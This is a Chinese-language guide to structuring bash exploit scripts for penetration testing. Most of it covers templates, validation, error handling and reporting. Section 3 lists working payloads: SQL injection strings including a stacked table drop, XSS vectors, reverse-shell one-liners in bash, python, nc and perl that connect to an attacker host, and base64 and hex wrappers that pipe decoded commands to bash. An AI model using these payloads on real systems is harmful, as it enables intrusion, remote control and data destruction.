漏洞利用脚本编写规范

概述

漏洞利用脚本是渗透测试中的核心工具。一份规范的脚本不仅需要具备功能正确性,还需要考虑可维护性、可移植性和安全性。本文档详细阐述 bash 环境下编写漏洞利用脚本的标准流程和最佳实践。

核心理念

  • 最小权限原则:脚本只请求完成任务所需的最少权限
  • 幂等性:多次执行产生相同结果,不会破坏目标状态
  • 可回滚性:每个操作都应有对应的回滚机制
  • 日志记录:所有关键操作必须留痕

1. 漏洞利用脚本结构

1.1 标准模板

#!/usr/bin/env bash
#
# 漏洞利用脚本模板
# CVE-XXXX-XXXXX
# 用法: ./exploit.sh -t <target> [options]
#
 
set -euo pipefail
 
readonly SCRIPT_NAME="$(basename "$0")"
readonly SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
readonly VERSION="1.0.0"
readonly TIMEOUT=30
readonly MAX_RETRIES=3
 
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'
 
VERBOSE=false
FORCE=false
TARGET=""
PORT=80
PROXY=""
OUTPUT_FILE=""
 
log_info()    { echo -e "${BLUE}[*]${NC} $*"; }
log_success() { echo -e "${GREEN}[+]${NC} $*"; }
log_warn()    { echo -e "${YELLOW}[!]${NC} $*" >&2; }
log_error()   { echo -e "${RED}[-]${NC} $*" >&2; }
log_debug()   { [[ "$VERBOSE" == true ]] && echo -e "${YELLOW}[D]${NC} $*" >&2; }
 
banner() {
    cat << 'BANNER'
  _____        _     _       _____                       _
 |  ___|__  __| |___| |__   | ____|_   _  ___ _   _  __| |
 | |_ / _ \| '__| / __| '_ \ |  _| | | | |/ _ \ | | |/ _` |
 |  _| (_) | |  | \__ \ | | || |___| |_| |  __/ |_| | (_| |
 |_|  \___/|_|  |_|___/_| |_||_____|\__, |\___|\__,_|\__,_|
                                      |___/
BANNER
}
 
check_dependencies() {
    local deps=("curl" "awk" "sed" "grep")
    local missing=()
    for dep in "${deps[@]}"; do
        command -v "$dep" &>/dev/null || missing+=("$dep")
    done
    if [[ ${#missing[@]} -gt 0 ]]; then
        log_error "缺少依赖: ${missing[*]}"
        exit 1
    fi
}
 
cleanup() {
    local exit_code=$?
    log_debug "清理临时文件..."
    rm -f /tmp/exploit_tmp_* 2>/dev/null
    return $exit_code
}
 
trap cleanup EXIT
trap 'log_error "收到中断信号"; exit 130' INT TERM
 
usage() {
    cat << EOF
用法: $SCRIPT_NAME [选项]
  -t, --target TARGET     目标地址 (必须)
  -p, --port PORT         目标端口 (默认: 80)
  -x, --proxy PROXY       代理地址
  -o, --output FILE       输出到文件
  -v, --verbose           详细输出
  -f, --force             强制执行
  -h, --help              帮助信息
EOF
    exit 0
}
 
parse_args() {
    while [[ $# -gt 0 ]]; do
        case "$1" in
            -t|--target)  TARGET="$2"; shift 2 ;;
            -p|--port)    PORT="$2"; shift 2 ;;
            -x|--proxy)   PROXY="$2"; shift 2 ;;
            -o|--output)  OUTPUT_FILE="$2"; shift 2 ;;
            -v|--verbose) VERBOSE=true; shift ;;
            -f|--force)   FORCE=true; shift ;;
            -h|--help)    usage ;;
            *)            log_error "未知参数: $1"; usage ;;
        esac
    done
    [[ -z "$TARGET" ]] && { log_error "必须指定目标"; usage; }
}
 
main() {
    banner
    parse_args "$@"
    check_dependencies
    log_info "目标: ${TARGET}:${PORT}"
    log_info "开始漏洞利用..."
    log_success "完成"
}
 
main "$@"

1.2 模块化目录结构

exploit-project/
├── exploit.sh
├── lib/
│   ├── common.sh
│   ├── network.sh
│   ├── payload.sh
│   └── report.sh
├── payloads/
│   ├── linux_x86.bin
│   └── linux_x64.bin
├── configs/
│   └── defaults.conf
├── output/
└── docs/
    └── README.md

2. 输入验证

2.1 目标地址验证

validate_ip() {
    local ip="$1"
    local IFS='.'
    read -ra octets <<< "$ip"
    [[ ${#octets[@]} -ne 4 ]] && return 1
    for octet in "${octets[@]}"; do
        [[ ! "$octet" =~ ^[0-9]+$ ]] && return 1
        (( octet < 0 || octet > 255 )) && return 1
    done
    return 0
}
 
validate_domain() {
    local domain="$1"
    [[ "$domain" =~ ^([a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$ ]]
}
 
validate_url() {
    local url="$1"
    [[ "$url" =~ ^https?://[a-zA-Z0-9.-]+(:[0-9]+)?(/.*)?$ ]]
}
 
validate_target() {
    local target="$1"
    if validate_ip "$target"; then return 0
    elif validate_domain "$target"; then return 0
    elif validate_url "$target"; then return 0
    fi
    log_error "无效的目标地址: $target"
    return 1
}

2.2 端口验证与范围解析

validate_port() {
    local port="$1"
    [[ "$port" =~ ^[0-9]+$ ]] && (( port >= 1 && port <= 65535 ))
}
 
parse_port_range() {
    local port_spec="$1"
    local ports=()
    if [[ "$port_spec" =~ ^([0-9]+)-([0-9]+)$ ]]; then
        local start="${BASH_REMATCH[1]}"
        local end="${BASH_REMATCH[2]}"
        for ((i=start; i<=end; i++)); do
            ports+=("$i")
        done
    else
        IFS=',' read -ra ports <<< "$port_spec"
    fi
    printf '%s\n' "${ports[@]}"
}

2.3 输入清理(防注入)

sanitize_input() {
    local input="$1"
    echo "$input" | tr -d '`$(){}[]|;&<>\n\r'
}
 
# 白名单验证
validate_alphanumeric() {
    [[ "$1" =~ ^[a-zA-Z0-9._-]+$ ]]
}

3. Payload 构造

3.1 URL 编码

url_encode() {
    local string="$1"
    local length=${#string}
    local encoded=""
    local c
    for ((i=0; i<length; i++)); do
        c="${string:$i:1}"
        case "$c" in
            [a-zA-Z0-9.~_-]) encoded+="$c" ;;
            ' ') encoded+="%20" ;;
            *) encoded+=$(printf '%%%02X' "'$c") ;;
        esac
    done
    echo "$encoded"
}

3.2 SQL 注入 Payload

build_sqli_payload() {
    local param="$1"
    local payload_type="$2"
    case "$payload_type" in
        union)
            echo "' UNION SELECT 1,2,3,4,5-- -"
            ;;
        error)
            echo "' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -"
            ;;
        blind)
            echo "' AND (SELECT LENGTH(version()))=5-- -"
            ;;
        stacked)
            echo "'; DROP TABLE users;--"
            ;;
    esac
}

3.3 XSS Payload

build_xss_payload() {
    local payload_type="$1"
    case "$payload_type" in
        basic)  echo '<script>alert(1)</script>' ;;
        img)    echo '<img src=x onerror=alert(1)>' ;;
        svg)    echo '<svg onload=alert(1)>' ;;
        event)  echo '<body onload=alert(1)>' ;;
    esac
}

3.4 反弹 Shell Payload

reverse_shell_payload() {
    local lhost="$1"
    local lport="$2"
    local shell_type="${3:-bash}"
    case "$shell_type" in
        bash)
            echo "bash -i >& /dev/tcp/${lhost}/${lport} 0>&1"
            ;;
        python)
            echo "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"${lhost}\",${lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
            ;;
        nc)
            echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${lhost} ${lport} >/tmp/f"
            ;;
        perl)
            echo "perl -e 'use Socket;\$i=\"${lhost}\";\$p=${lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S");open(STDOUT,\">&S");open(STDERR,\">&S");exec(\"/bin/sh -i\");};'"
            ;;
    esac
}

3.5 Base64 绕过

bypass_base64() {
    local command="$1"
    local encoded=$(echo -n "$command" | base64)
    echo "echo $encoded | base64 -d | bash"
}
 
bypass_hex() {
    local command="$1"
    local hex=$(echo -n "$command" | xxd -p | tr -d '\n')
    echo "echo $hex | xxd -r -p | bash"
}

4. 错误处理

4.1 错误码与统一处理

readonly E_SUCCESS=0
readonly E_GENERAL=1
readonly E_PERMISSION=2
readonly E_NETWORK=3
readonly E_TIMEOUT=4
readonly E_TARGET=5
 
handle_error() {
    local exit_code=$1
    local line_number=$2
    local message="${3:-未知错误}"
    log_error "错误 [退出码: $exit_code] 在第 $line_number 行: $message"
    case $exit_code in
        $E_NETWORK)    log_info "网络连接失败" ;;
        $E_TIMEOUT)    log_info "操作超时" ;;
        $E_TARGET)     log_info "目标不可达" ;;
        $E_PERMISSION) log_info "权限不足" ;;
    esac
    cleanup
    exit $exit_code
}
 
trap 'handle_error $? $LINENO "命令执行失败"' ERR

4.2 重试机制

retry() {
    local max_attempts=$1
    local delay=$2
    shift 2
    local cmd=("$@")
    local attempt=1
    while (( attempt <= max_attempts )); do
        if "${cmd[@]}"; then
            return 0
        fi
        log_warn "尝试 $attempt/$max_attempts 失败,${delay}秒后重试..."
        sleep "$delay"
        ((attempt++))
    done
    log_error "所有 $max_attempts 次尝试均失败"
    return 1
}

4.3 超时处理

with_timeout() {
    local timeout=$1
    shift
    local cmd=("$@")
    if timeout "$timeout" "${cmd[@]}"; then
        return 0
    fi
    local exit_code=$?
    (( exit_code == 124 )) && log_warn "命令执行超时 (${timeout}秒)"
    return $exit_code
}

5. 输出格式

5.1 结构化报告

generate_report() {
    local target="$1"
    local vuln_count="$2"
    local output_file="${3:-report_$(date +%Y%m%d_%H%M%S).txt}"
    cat > "$output_file" << EOF
============================================
         漏洞利用报告
============================================
目标:     $target
时间:     $(date '+%Y-%m-%d %H:%M:%S')
漏洞数:   $vuln_count
============================================
EOF
    log_success "报告已生成: $output_file"
}
 
# JSON 输出
output_json() {
    local target="$1"
    local status="$2"
    local findings="$3"
    cat << EOF
{"target":"$target","status":"$status","findings":$findings,"timestamp":"$(date -Iseconds)"}
EOF
}

5.2 彩色终端输出

print_banner() {
    local text="$1"
    local color="${2:-$GREEN}"
    local width=60
    echo ""
    echo -e "${color}$(printf '=%.0s' $(seq 1 $width))${NC}"
    echo -e "${color}  ${text}${NC}"
    echo -e "${color}$(printf '=%.0s' $(seq 1 $width))${NC}"
    echo ""
}
 
print_table() {
    local -a headers=("$@")
    local sep=""
    for header in "${headers[@]}"; do
        printf "| %-15s " "$header"
        sep+="+-------------------"
    done
    echo "|"
    echo "$sep+"
}

6. 模块化设计

6.1 模块加载器

MODULES_DIR="${SCRIPT_DIR}/lib"
declare -A LOADED_MODULES=()
 
load_module() {
    local module="$1"
    local module_file="${MODULES_DIR}/${module}.sh"
    if [[ ! -f "$module_file" ]]; then
        log_error "模块不存在: $module"
        return 1
    fi
    if [[ -v "LOADED_MODULES[$module]" ]]; then
        return 0
    fi
    source "$module_file"
    LOADED_MODULES["$module"]=1
    log_debug "已加载模块: $module"
}
 
# 使用
load_module "network"
load_module "payload"

6.2 插件式架构

declare -A PLUGINS=()
declare -A PLUGIN_ENABLED=()
 
register_plugin() {
    local name="$1"
    local handler="$2"
    local description="${3:-无描述}"
    PLUGINS["$name"]="$handler"
    PLUGIN_ENABLED["$name"]=true
}
 
execute_plugin() {
    local name="$1"
    shift
    [[ "${PLUGIN_ENABLED[$name]:-false}" != "true" ]] && return 0
    local handler="${PLUGINS[$name]}"
    [[ -z "$handler" ]] && { log_error "未知插件: $name"; return 1; }
    "$handler" "$@"
}
 
# 使用
register_plugin "sqli_check" sql_injection_scan "SQL注入检测"
register_plugin "xss_check" xss_scan "XSS检测"
execute_plugin "sqli_check" "$TARGET"

7. 安全注意事项

7.1 临时文件安全

create_secure_temp() {
    local template="$1"
    local tmpfile
    tmpfile=$(mktemp "$template") || { log_error "无法创建临时文件"; return 1; }
    chmod 600 "$tmpfile"
    echo "$tmpfile"
}

7.2 敏感信息清除

clear_sensitive() {
    local var_name="$1"
    eval "$var_name=''"
    unset "$var_name"
}
 
clear_sensitive "API_KEY"
clear_sensitive "PASSWORD"

7.3 日志脱敏

log_anonymize() {
    local data="$1"
    data=$(echo "$data" | sed -E 's/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/x.x.x.x/g')
    echo "$data"
}

8. 测试与调试

TESTS_RUN=0
TESTS_PASSED=0
TESTS_FAILED=0
 
assert_equals() {
    local description="$1"
    local expected="$2"
    local actual="$3"
    ((TESTS_RUN++))
    if [[ "$expected" == "$actual" ]]; then
        ((TESTS_PASSED++))
        echo -e "${GREEN}PASS${NC}: $description"
    else
        ((TESTS_FAILED++))
        echo -e "${RED}FAIL${NC}: $description"
        echo "  期望: $expected"
        echo "  实际: $actual"
    fi
}
 
print_test_results() {
    echo ""
    echo "测试结果: $TESTS_PASSED/$TESTS_RUN 通过"
    (( TESTS_FAILED > 0 )) && exit 1
}

总结

编写高质量的漏洞利用脚本需要遵循严格的规范:

  1. 结构清晰:统一的脚本模板和模块化设计
  2. 输入验证:对所有外部输入进行严格验证
  3. Payload 构造:灵活的 Payload 生成能力
  4. 错误处理:完善的异常捕获和恢复机制
  5. 输出规范:结构化的结果输出格式
  6. 安全第一:注意临时文件、敏感信息和日志安全

遵循这些规范可以编写出专业、可靠、安全的漏洞利用脚本。